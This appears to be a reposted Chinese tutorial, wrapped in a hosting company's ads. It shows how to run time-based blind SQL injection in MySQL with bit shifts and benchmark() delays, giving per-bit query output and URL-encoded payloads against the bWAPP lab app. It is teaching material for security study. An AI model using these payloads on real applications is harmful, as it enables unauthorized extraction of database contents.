重慶分公司,新征程啟航
為企業提供網站建設、域名注冊、服務器等服務
為企業提供網站建設、域名注冊、服務器等服務
本篇內容主要講解“如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注”吧!
創新互聯是一家專注于成都做網站、網站制作與策劃設計,神池網站建設哪家好?創新互聯做網站,專注于網站建設十多年,網設計領域的專業建站公司;建站業務涵蓋:神池等地區。神池做網站價格咨詢:028-86922220
右移位運算符會將二進制值1位的位數向右移位,如下所示:
mysql> select ascii(b'01110010'); +--------------------+ | ascii(b'01110010') | +--------------------+ | 114 | +--------------------+ 1 row in set (0.00 sec) mysql> select ascii(b'01110010') >> 1; +-------------------------+ | ascii(b'01110010') >> 1 | +-------------------------+ | 57 | +-------------------------+ 1 row in set (0.00 sec)
這可用于在SQL盲注時枚舉字符串的字符。如果數據出現在完整的ASCII表中,則每個字符最多可以枚舉8個請求。
這里我們希望提取的數據是select user()查詢返回的第一個字符。
我們首先找到第一位的值:
????????
有兩種可能性:
0 (Decimal value: 0) // TRUE condition
或
1 (Decimal value: 1) // FALSE condition
mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | 0 | +--------------------------------------------------------------------------------------+ 1 row in set (2.35 sec)
SQL查詢導致時間延遲,因此條件為TRUE,第一位為0
0???????
現在我們來查找第二位的值,和上面一樣有兩種可能性:
00 (Decimal value: 0) // TRUE condition
或
01 (Decimal value: 1) // FALSE condition
mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查詢沒有發生時間延遲,因此條件為FALSE第二位為1
01?????
現在我們查找第三位的值,同樣兩種可能性:
010 (Decimal value: 2) // TRUE
或
011 (Decimal value: 3) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查詢沒有時間延遲,因此條件為FALSE第三位為1
011?????
現在我們查找第四位的值,兩種可能性:
0110 (Decimal: 6) // TRUE
或
0111 (Decimal: 7) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false'); +--------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') | +--------------------------------------------------------------------------------------+ | false | +--------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查詢沒有時間延遲,因此條件為FALSE第四位為1
0111????
現在我們查找第五位的值,兩種可能性:
01110 (Decimal: 14) /// TRUE
或
01111 (Decimal: 15) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | 0 | +---------------------------------------------------------------------------------------+ 1 row in set (2.46 sec)
SQL查詢導致時間延遲,因此條件為TRUE第五位為0
01110???
現在我們查找第六位的值,兩種可能性:
011100 (Decimal: 28) // TRUE
或
011101 (Decimal: 29) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | 0 | +---------------------------------------------------------------------------------------+ 1 row in set (2.44 sec)
SQL查詢導致時間延遲,因此條件為TRUE第六位為0
011100??
現在我們查找第七位的值,兩種可能性:
0111000 (Decimal: 56) // TRUE
或
0111001 (Decimal: 57) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false'); +---------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') | +---------------------------------------------------------------------------------------+ | false | +---------------------------------------------------------------------------------------+ 1 row in set (0.00 sec)
SQL查詢沒有時間延遲,因此條件為FALSE第七位為1
第四位必須為1
0111001?
現在我們查找第八位的值,兩種可能性:
01110010 (Decimal: 114) // TRUE
或
01110011 (Decimal: 115) // FALSE
mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false'); +----------------------------------------------------------------------------------------+ | if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') | +----------------------------------------------------------------------------------------+ | 0 | +----------------------------------------------------------------------------------------+ 1 row in set (2.33 sec)
SQL查詢導致時間延遲,因此條件為TRUE第八位為0
01110010
到這里我們就完整獲取到了select user() 查詢返回的第一個字符的二進制值,轉換成十進制后為114。而114在ASCII表中表示的是r字符,因此該數據庫用戶名的首字母為r。
mysql> select user(); +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.00 sec)
為了說明這種類型的SQL盲注攻擊,我已向大家演示了如何在bWAPP易受攻擊的應用程序上,枚舉“select user()”返回的第一個字符的第一個和最后一個二進制位:https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/
1. 第一位SQLi字符串返回TRUE條件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
2. 第一位SQLi字符串返回FALSE條件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
3. 第八位SQLi字符串返回FALSE條件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23
到此,相信大家對“如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注”有了更深的了解,不妨來實際操作一番吧!這里是創新互聯網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!